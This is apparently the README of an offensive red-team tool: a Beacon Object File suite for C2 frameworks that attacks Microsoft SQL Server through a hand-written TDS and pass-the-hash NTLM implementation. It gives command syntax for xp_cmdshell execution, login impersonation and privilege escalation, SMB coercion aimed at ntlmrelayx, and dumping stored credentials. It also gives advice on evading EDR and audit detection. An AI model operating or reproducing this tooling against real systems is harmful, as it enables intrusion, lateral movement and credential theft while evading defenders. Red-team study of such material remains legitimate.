
Microsoft SQL Server向けのBeacon Object Fileスイートで、TDS 7.4をワイヤ上で直接実装しています。
Microsoft SQL Server向けのBeacon Object Fileスイートです。C言語で記述され、TDS 7.4を自前でワイヤレベルで実装しています。msodbcsql.dll、sqloledb.dll、.NET CLR、PowerShellは不要です。アーキテクチャごとに1つのCOFFファイルで、標準のBeacon APIを尊重するすべてのビーコンに読み込めます。
SQL Serverはほとんどのエンゲージメントで出現します。人々が使うツールはSQLRecon / PowerUpSQL(CLR + PowerShell)やsqlcmd.exeをラップするものです。どちらもmscoree.dll、PowerShell AMSIイベント、あるいはMicrosoft ODBCドライバの完全なコピーをビーコンメモリに残します。しかし、それらはすべて不要です。TDSはTCP上にフレーム化されたバイト列であり、その前にSchannelハンドシェイクが行われるだけです。BOF対応のビーコンはすでにws2_32、secur32、schannel、bcryptをロードしています。
そこでmssqlbofはTDSをCで手書きし、オペレーターが必要とするSSPIやBCryptプリミティブに直接差し込みます。ビーコンは約48KBのオブジェクトをロードし、SQLを実行し、アンロードします。プロセスにはそれ以外は一切入りません。
アーキテクチャごとに1つのオブジェクトファイル。mssql.x64.oはすべてのフレームワークで同一のバイナリです。我々は標準のBeacon API(BeaconPrintf、BeaconDataExtractなど)と、COFFローダーが実行時に解決する<LIB>$<fn>動的インポートパターンのみを使用しています。
apt install gcc-mingw-w64 libssl-dev
make
build/mssql.x64.oとbuild/mssql.x86.oが生成されます。チームサーバーに配置し、C2のBOFランナーでロードします。
すべては1つのオブジェクトファイルを--action <verb>で使います。
--action find LDAPによる現在のフォレスト内のMSSQLSvc SPNの列挙
--action info --host <sql> サーバー/バージョン/現在のユーザー/sysadmin/DBを表示
--action query --host <sql> --sql "..." 任意のT-SQL、複数行、複数結果セット
--action links --host <sql> リンクサーバーの列挙(シングルホップ)
--action exec --host <sql> --cmd "..." xp_cmdshell(自動有効化+復元)
--action impersonate --host <sql> --discover EXECUTE AS可能なログインを表示
--action impersonate --host <sql> --login X --sql "..."
EXECUTE AS LOGINによりXとしてT-SQLを実行
--action privesc --host <sql> 6セクションの権限昇格サーフェス列挙
--action coerce --host <sql> --to "\\listener\x"
xp_dirtreeによるSMB認証強制
--action passwords --host <sql> sys.linked_loginsとsys.credentialsのダンプ
--action chain --host <sql> --via LINK --sql "..."
EXEC (...) AT [LinkedServer] の実行
--action findはホストなしで動作します。オペレーターのDCにLDAPで問い合わせます。
4つのモードがあります。各モードは、実際のドメイン上のCOFFLoaderとAdaptix C2の両方でSQL Server 2019に対してエンドツーエンドで検証済みです。
--auth sspi (デフォルト) 現在のビーコンスレッドトークン
SPNが存在すればKerberos、それ以外はNTLM。
make_token / steal_tokenに従います。
--auth ntlm --domain D --user U --pass P 明示的なNTLM平文パスワード。
SSPI NTLMパッケージ、マルチレグ。
--auth ntlm --domain D --user U --hash <NT> パス・ザ・ハッシュ。
自作のNTLMv2(後述)。
SSPI不要、lsass不要、make_token不要。
--auth sql --user U --pass P SQL認証。
--hashは32文字の16進NTハッシュ、またはsecretsdumpが出力するLM:NT形式を受け付けます。
SSPI + SEC_WINNT_AUTH_IDENTITYではないのかAcquireCredentialsHandleW(NULL, "NTLM", ...)は資格情報構造内に平文パスワードしか受け付けません。NTLMプロバイダは内部でNTハッシュを導出します。ハッシュを与えるには、lsassにパッチを当てる(Mimikatz sekurlsa::pthがやること)か、事前認証済みの犠牲プロセス下でビーコンを実行する必要があります。
そこで我々が選んだ代替手段は、PTHのためにSSPIを完全にスキップし、NTLMSSPメッセージを自前で生成することです。src/tds/ntlm_pth.cはType 1 NEGOTIATEを構築し、TDS 0xEDトークンからサーバーのType 2 CHALLENGEを解析し、bcrypt.dllのHMAC-MD5プロバイダでNTLMv2計算を実行し、SQL ServerがDCに渡すType 3 AUTHENTICATEを書き込みます。
最初の試みはerror 18452: login is from an untrusted domainで失敗しました。ワイヤ上でImpacketの動作する認証を我々のものと並べてキャプチャすることで、すぐに原因が絞り込めました。我々はLMv2応答に24バイトのゼロを送信し、Windowsネゴシエーションフラグのスープ0xe288...を送信していたのです。ImpacketのLMv2計算とそのより小さいフラグセット0xa2880205(KEY_EXCHなし、SIGNなし、ALWAYS_SIGNなし)に合わせることで、サーバーがハッシュを受け入れるようになりました。詳細はBLOGにあります。
--action execのための権限昇格--impersonate auto (デフォルト) 最初にEXECUTE AS LOGINを試し、次にTRUSTWORTHYホップ
--impersonate login IMPERSONATE許可によるEXECUTE AS LOGIN
--impersonate trustworthy sysadmin所有のTRUSTWORTHY DBのdboを経由したホップ
--impersonate none sysadminでなければ失敗
privescは、メソッドを選択する前にサーフェスを列挙します。sysadminのメンバーシップ、IMPERSONATE許可(ターゲットログインのsysadminステータスを含む)、sysadminが所有するTRUSTWORTHYデータベース(あなたのアクセス権で)、リンクサーバー、サーバーレベルの権限、xp_cmdshellの状態です。
apt install gcc-mingw-w64 libssl-dev
make # BOFをx64 + x86にクロスコンパイル
make tds # TDSコアのLinux共有ライブラリ(ファジング/テスト用)
Linux共有ライブラリはWindowsビルドとすべてのTDSソースファイルを共有します。tls_schannel.c / sspi.c / ntlm_pth.cだけがOpenSSL / スタブ相当に置き換わります。
libcやWin32を直接呼び出すものはありません。すべての外部シンボルは、src/common/dynimports.hの<LIB>$<fn>動的インポート規則を経由します。以下で確認できます。
x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND
MSVCRT$*、WS2_32$*、SECUR32$*、BCRYPT$*、CRYPT32$*、SCHANNEL$*、WLDAP32$*、KERNEL32$*、ADVAPI32$*、__imp_Beacon*だけが表示されるはずです。msodbcsql.dllはありません。sqloledb.dllはありません。mscoree.dllはありません。
TLSはすべて実際のSchannel(スタブではない)であり、SQL ServerのPRELOGINラップの癖も処理されます。ハンドシェイクはTDS PRELOGINタイプ0x12パケット内で行われ、その後LOGIN7は生のTLSアプリケーションデータとして送信され、サーバーはその最初のログインパケットを平文で応答します。マルチレグSSPI継続も平文で送信されます。TLSで暗号化すると、SRV02は単にソケットを閉じます。
v0.1.2 — マルチ認証、PTH、11アクション、ラボ検証済み。
mssql.x64.o)に11アクションexecのための4つの権限昇格メソッド:login、trustworthy、auto、none既知のエッジケース:
OPENQUERYチェーンはv0.2で対応予定。do_connect内のプライマーSELECTでそれを排出しています。その副作用として、すべてのアクションが[*] connected as ...行をログに出力します。根本原因はpost-LOGINACK読み取りパスにあり、v0.2で適切に修正予定。Cobalt-Strike/bof_template — このプロジェクトが厳密に準拠する標準Beacon APIサーフェス。TrustedSec/COFFLoader — テスト用の独立したローダー。impacketのntlm.pyとmssqlclient.py — NTLMv2フラグスープの追跡時に差分を取ったリファレンス。[MS-TDS]と[MS-NLMP] — これらの手書き実装が従う仕様。Opus 4.6 — ドキュメントの一部はOpus 4.6の助けを借りて作成されました。すべてのコードは私自身が手書きし、ラボでエンドツーエンドで検証されています。MIT。
| C2 | x64 | x86 |
|---|
| Cobalt Strike | はい | はい |
| Havoc | はい | はい |
| Sliver | はい | はい |
| BruteRatel | はい | はい |
| Nighthawk | はい | はい |
| Outflank Stage1 | はい | はい |
| AdaptixC2 | はい | はい |
Metasploit execute_bof | はい | はい |
| PoshC2 | はい | はい |
| アクション | ビーコンベースライン以外の追加DLL | サーバー側の痕跡 | 備考 |
|---|
find | wldap32 | DCイベント1644(稀) | LDAPのみ、SQL非接触 |
info / query / links / privesc / passwords | secur32 または bcrypt、schannel、ws2_32 | SQL監査33205(有効な場合) | 純粋なTDS、ODBCの痕跡なし |
exec | 同上 | xp_cmdshell + sp_configureがデフォルトトレースに記録 | 騒がしい。低権限ログインから--impersonateを使い、NT SERVICEとして着地するのを避ける |
impersonate | 同上 | EXECUTE AS監査33205 + 33206 | |
coerce | 同上 | xp_dirtree試行が記録される | responder / ntlmrelayxに向ける |
chain | 同上 | リンクサーバー宛先にEXEC ATが記録される | ピボットプリミティブ |
| ドキュメント | 内容 |
|---|
docs/PROTOCOL.md | TDS 7.4深掘り:パケットフレーミング、PRELOGINオプションストリーム、LOGIN7パスワード難読化、SQLBatchのALL_HEADERS、トークンストリーム文法(COLMETADATA / ROW / NBCROW / DONE / LOGINACK / ENVCHANGE / 0xED SSPI継続)、TLSハンドシェイクの癖、マルチレグNTLMポンプ。 |
docs/OPERATOR.md | エンドツーエンドのラボガイド:ビルド、Adaptixリスナーのセットアップ、Windowsホストへのビーコン投入、全認証モード(PTH含む)での全アクションの実行、クロスC2移植性の注意点。 |
docs/OPSEC.md | アクションごとのワイヤ上およびメモリ上のフットプリント。各アクションがビーコンにロードするもの、SQL監査に残るもの、防御側が見られるもの。 |
docs/COMPATIBILITY.md | C2フレームワークマトリックス、SQL Serverバージョンマトリックス、各認証モードの検証対象。 |
BLOG | デバッグの経緯:パス・ザ・ハッシュの実装がどのように完成したか、ワイヤキャプチャ、LMv2ゼロバイトのミスリード、Impacketとのtshark差分で明らかになったこと。 |